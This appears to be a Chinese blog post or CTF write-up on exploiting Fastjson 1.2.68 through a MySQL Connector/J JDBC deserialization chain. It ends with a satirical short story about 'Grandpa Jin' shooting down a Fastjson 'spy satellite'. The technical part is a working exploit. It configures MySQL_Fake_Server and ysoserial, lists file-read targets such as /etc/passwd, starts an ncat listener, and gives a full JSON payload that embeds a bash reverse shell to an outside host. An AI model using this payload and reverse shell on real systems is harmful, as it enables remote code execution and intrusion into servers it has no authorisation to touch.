如题要打jdbc。具体怎么查看往期文章0x00 信息收集确定fastjson版本1.2.68查不在黑名单的类100个查敏感依赖20个。其中可以看到com.mysql.cj.protocol.AuthenticationProvider表明使用mysql-connect-8.0.x参照这个表去辨别类名 (Class Name)对应的 JDBC 驱动版本com.mysql.jdbc.Buffer3.0.x - 5.1.xcom.mysql.cj.api.authentication.AuthenticationProvider8.0.9-rccom.mysql.cj.protocol.AuthenticationProvider8.0.x - 9.0.xcom.mysql.jdbc.JDBC4Connection5.1.21及部分5.1.xcom.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection8.0.31及9.0.0但是具体是什么版本就不好说了只能试探性地尝试。这边用java chains自带的8.0.20测试了一下发现不行。于是搜罗了一下教程最后得知镜像是8.0.19的这你扯不扯。0x01 恩情ysoserial墙件fastjson要用到支持fastjson链的改版ysoserial和改版的MySQL_Fake_Server首先配置MySQL_Fake_Server就改前两个ysoserial和java8的路径就好{ config:{ ysoserialPath:/path/to/your/ysoserial-0.0.6-SNAPSHOT-all.jar, javaBinPath:/path/to/your/jdk8/java, fileOutputDir:./fileOutput/, displayFileContentOnScreen:true, saveToFile:true }, fileread:{ win_ini:c:\\windows\\win.ini, win_hosts:c:\\windows\\system32\\drivers\\etc\\hosts, win:c:\\windows\\, linux_passwd:/etc/passwd, linux_hosts:/etc/hosts, index_php:index.php, ssrf:https://www.baidu.com/, __defaultFiles:[/etc/hosts,c:\\windows\\system32\\drivers\\etc\\hosts] }, yso:{ Jdk7u21:[Jdk7u21,calc] } }推荐使用python3.10运行python3 server.pync监听ncat -lvnp 9999然后构造请求包并发送{ type: java.lang.AutoCloseable, type: com.mysql.cj.jdbc.ha.ReplicationMySQLConnection, proxy: { type: com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy, connectionUrl: { type: com.mysql.cj.conf.url.ReplicationConnectionUrl, masters: [ { host: 192.168.31.110 } ], slaves: [], properties: { host: 192.168.31.110, user: yso_Fastjson1_bash -i /dev/tcp/192.168.31.110/9999 01, dbname: dbname, password: pass, queryInterceptors: com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor, autoDeserialize: true, allowLoadLocalInfile: true } } } }最后也是轻松连上了最后附赠小剧场从Jackson访问回来金爷爷全然不顾身体的疲惫连夜找我们几个小标兵商量儿童日的安排。 谈得晚了金爷爷便送我们出门要司机送我们回家。 在去大门口的路上我们说 “金爷爷您回去休息吧。您刚从中国回来。” 金爷爷摇摇头 “不碍事。” “你们知道现在国际网络空间并不安宁。有很多系统把未知的危险藏在自己的内部而你们是未来的安全研究者你们学习漏洞、理解攻击链就是为了守护这个世界。” 我们都激动了眼里噙着泪花。 多好的金爷爷呀。 --- 金爷爷抬头看看天空。 “如果整个网络世界真的像这片天空一样安静就好了。” “可是总有一些隐藏的东西在无人注意的地方运行。” 说着金爷爷弯下腰从地上捡起一块写着 Fastjson 1.2.68 的碎片。 他仔细端详了一会儿又看向天空。 “这个东西已经在那里很久了。” “它伪装成普通的数据卫星却一直等待着有人向它发送特殊的信号。” 小标兵们顺着他的目光望去。 果然在遥远的天空中有一颗闪烁着光芒的卫星。 它的名字叫 Fastjson-1.2.68 间谍卫星。 --- 金爷爷微微一笑。 他从口袋里拿出了一个小盒子。 盒子上写着 ysoserial 他说 “这是我多年研究出来的链路制造器。” “它不是为了伤害无辜的人而是为了告诉大家一个错误的信任会造成什么后果。” 说完金爷爷轻轻启动了盒子。 一道无形的链路飞向天空。 穿过层层防护。 连接到了那颗间谍卫星。 卫星内部开始闪烁。 原来这颗卫星并不是独立运行。 它背后还隐藏着一个秘密能源核心 mysql-connect-8.0.19。 --- 很快天空中传来一道耀眼的光芒。 Fastjson间谍卫星突然开始失控。 “轰——” 它从天空中坠落下来。 小朋友们都鼓起掌来。 为金爷爷拥有如此强大的链路分析能力感到自豪。 --- 一会儿金爷爷叫来秘书。 问 “那颗卫星最后落在哪里了” 秘书查看报告 “好像落到了龙川服务器区域。” 金爷爷脸色一变。 “马上派人去检查。” “看看有没有造成不必要的问题。” --- 第四天我们听说龙川服务器发生了一些异常。 大家都很紧张。 这时金爷爷叫我们过去。 他依然那么慈祥让我们坐下。 他说 “任何技术都有两面性。” “攻击链可以帮助人发现问题也可能造成伤害。” 说着他低下头 “但我必须承认当初研究这条链路的时候我只想着证明卫星存在漏洞却没有第一时间想到所有可能受到影响的地方。” “这是我的失误。” “我会向大家说明情况。” --- 我们顿时热泪盈眶。 多好的金爷爷呀。 他在探索漏洞的过程中即使拥有强大的力量也愿意承认自己的不足。 从那以后我们学习 ysoserial研究 Fastjson分析 MySQL Connector/J 的时候都记住了金爷爷的话 真正强大的链路制造者 不是能够击落多少卫星的人 而是能够提前发现卫星危险并保护所有人的人。